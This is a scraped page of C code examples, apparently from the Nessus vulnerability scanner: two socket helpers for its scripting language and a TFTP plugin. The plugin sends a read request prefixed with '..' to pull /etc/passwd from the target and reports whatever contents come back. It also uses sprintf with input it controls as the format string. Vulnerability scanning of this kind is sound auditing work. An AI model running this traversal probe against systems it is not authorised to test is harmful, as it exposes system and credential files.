Esempio n. 1
0
/*
 * Opening a UDP socket is a little more tricky, since
 * UDP works in a way which is different from TCP...
 * 
 * Our goal is to hide this difference for the end-user
 */
tree_cell * nasl_open_sock_udp(lex_ctxt * lexic)
{
 int soc;
 tree_cell * retc;
 int port;
 struct sockaddr_in soca;
 struct arglist *  script_infos = lexic->script_infos;
 struct in_addr * ia;

 port = get_int_var_by_num(lexic, 0, -1);
 if(port < 0)
	 return NULL;
   
 ia = plug_get_host_ip(script_infos);
 bzero(&soca, sizeof(soca));
 soca.sin_addr.s_addr = ia->s_addr;
 soca.sin_port = htons(port);
 soca.sin_family = AF_INET;

 soc = socket(AF_INET, SOCK_DGRAM, 0);
 add_socket(script_infos, soc);
 
 set_socket_source_addr(soc, 0);
 
 connect(soc, (struct sockaddr*)&soca, sizeof(soca));

 retc = alloc_tree_cell(0, NULL);
 retc->type = CONST_INT;
 retc->x.i_val = soc < 0 ? 0 : soc;
 return retc;
}
Esempio n. 2
0
static tree_cell * nasl_open_privileged_socket(lex_ctxt * lexic, int proto)
{
 struct arglist * script_infos = lexic->script_infos;
 int sport, current_sport = -1;
 int dport;
 int sock;
 int e, err;
 struct sockaddr_in addr, daddr;
 struct in_addr * p;
 int to = get_int_local_var_by_name(lexic, "timeout", lexic->recv_timeout);
 tree_cell * retc;
 struct timeval tv;
 fd_set rd;
 int opt, opt_sz;
 
 
 
 sport = get_int_local_var_by_name(lexic, "sport", -1);
 dport = get_int_local_var_by_name(lexic, "dport", -1);
 if(dport <= 0)
   {
     nasl_perror(lexic, "open_private_socket: missing or undefined parameter dport!\n");
     return NULL;
   }
 
 if(sport < 0) current_sport = 1023;


restart: 
 bzero(&addr, sizeof(addr));
 if(proto == IPPROTO_TCP)
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 else
  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  
  
 /*
  * We will bind to a privileged port. Let's declare
  * our socket ready for reuse
  */
 
 if(sock < 0)
	 return NULL;
 add_socket(script_infos, sock);

tryagain :
 if ( current_sport < 128 ) return NULL;
 e =  set_socket_source_addr(sock, sport > 0 ? sport : current_sport--);
 
 /*
  * bind() failed - try again on a lower port
  */
 if(e < 0)
 {
  closesocket ( sock );
  if(sport > 0) 
    return NULL;
   else 
     goto tryagain;
 }
 
 /*
  * Connect to the other end
  */
 p = plug_get_host_ip(script_infos);
 bzero(&daddr, sizeof(daddr));
 daddr.sin_addr = *p;
 daddr.sin_port = htons(dport);
 daddr.sin_family = AF_INET;
 
 unblock_socket(sock);
 e = connect(sock, (struct sockaddr*)&daddr, sizeof(daddr));
 if ( e < 0 )
 {
   err = WSAGetLastError();
   if ( err == WSAEADDRINUSE || err == WSAEADDRNOTAVAIL )
   {
     closesocket(sock);
     if ( sport < 0 ) 
          goto restart;
     else  
          return NULL;
   }
 }

  do {
  tv.tv_sec = to;
  tv.tv_usec = 0;
  FD_ZERO(&rd);
  FD_SET(sock, &rd);
  e = select(sock + 1, NULL, &rd, NULL, to > 0 ? &tv:NULL);
  err = WSAGetLastError();
  } while ( e < 0 && err == WSAEINTR );

 block_socket(sock);
 opt_sz = sizeof(opt);

 if ( getsockopt(sock, SOL_SOCKET, SO_ERROR, &opt, &opt_sz) < 0 )
 {
  fprintf(stderr, "[%d] open_priv_sock()->getsockopt() failed : %s\n", getpid(), strerror(errno));
  closesocket(sock);
  return NULL;
 }
 

 switch ( opt )
 {
   case WSAEADDRINUSE:
   case WSAEADDRNOTAVAIL:
     closesocket ( sock );
     if ( sport < 0 )
 	 goto restart;
      else 
         return FAKE_CELL;

   case 0:
	break;
   default:
       closesocket ( sock );
       return FAKE_CELL;
       break;
 }
 
 if(proto == IPPROTO_TCP)
   sock = nessus_register_connection(sock, NULL);

  retc = alloc_tree_cell(0, NULL);
  retc->type = CONST_INT;
  retc->x.i_val = sock < 0 ? 0 : sock;
  return retc;
}
Esempio n. 3
0
PlugExport int plugin_run(struct arglist * env)
{
 int soc;
 struct sockaddr_in addr;
 struct in_addr *p = plug_get_host_ip(env);
 struct tftp_header  * packet;
 char * p_packet;
 char * test_file = get_preference(env, "test_file");
 char * read_timeout = get_preference(env, "checks_read_timeout");
 char * file = NULL;
 char * test_file_with_header;
 int b;
 fd_set read_set;
 char * report;
 int flaw = 0;
 int len = sizeof(struct sockaddr_in);
 struct timeval timeout = {0,0};
 int flag;

 
 
 
 if(read_timeout != NULL)
 {
 	timeout.tv_sec = atoi(read_timeout);
 }
 
 if(timeout.tv_sec <= 0)
   timeout.tv_sec = 5;
   
 flag = (int)plug_get_key(env, "tftp/get_file");
 if(flag)return(0);
  

 
 if ( test_file == NULL )
 	test_file = strdup("/etc/passwd");
 
 p_packet = emalloc(512 + strlen(test_file));
 packet = (struct tftp_header *)p_packet;
 
 
 packet->th_opcode=htons(RRQ);
 test_file_with_header = emalloc(strlen(test_file)+20);
 sprintf(test_file_with_header, "..%s", test_file);
 sprintf(packet->th_stuff, test_file_with_header);
 sprintf(packet->th_stuff+strlen(test_file_with_header)+1,"octet");
 

 soc = socket(AF_INET, SOCK_DGRAM, 0);
 set_socket_source_addr( soc, 0 );
 addr.sin_family = AF_INET;
 addr.sin_addr = *p;
 addr.sin_port = htons(69);
 connect(soc,( struct sockaddr*) &addr, sizeof(addr));
 b = send(soc, packet, 22, 0);
 
 addr.sin_addr = *p;
 addr.sin_port = 0;
 b=512;
 while(b==512)
 {
 unsigned short block;
 addr.sin_addr = *p;
 addr.sin_port = 0;
 bzero(packet, 512);
 FD_ZERO(&read_set);
 FD_SET(soc, &read_set);
 select(soc+1, &read_set, NULL, NULL, &timeout);
 if(!FD_ISSET(soc, &read_set))break;
 b = recv(soc,packet, 512, 0);
 if ( b <= sizeof(struct tftp_header))
 	exit(0);
	
 if(ntohs(packet->th_opcode)==3)
 {
  /* We receive some data : there is a flaw */
  char tmp[512];
  char * tmp2;
  flaw++;
  
  snprintf(tmp, sizeof(tmp), "%s", packet->th_msg);
  if( file == NULL )
  	tmp2 = emalloc(sizeof(tmp)+1);
  else 
  	tmp2 = emalloc(strlen(file)+sizeof(tmp)+1);
  
  if( file == NULL )
  	strncpy(tmp2, tmp, strlen(tmp));
  else 
  	snprintf(tmp2, sizeof(tmp) + 1, "%s%s", file,tmp);
  
  if(file != NULL )
  	efree(&file);
	
  file = emalloc(strlen(tmp2) + 1);
  
  strncpy(file, tmp2, strlen(tmp2));
  
  efree(&tmp2);
 }
 else break;
 block = ntohs(packet->th_block);
 bzero(packet, 512);
 packet->th_opcode = htons(04);
 packet->th_block = htons(block);
 send(soc, packet, 4, 0);
 }
 efree(&test_file_with_header);
 if(flaw)
 {
 report = emalloc(255 + strlen(file) + strlen(test_file));
 sprintf(report, "It was possible to retrieve the file %s\n\
through tftp by appending '..' in front of its name.\n\
Here is what we could grab : \n%s\n\n\
Solution : upgrade your tftpd", test_file, file);
 efree(&file);
 post_hole_udp(env, 69,report);
 }
 return(0);
}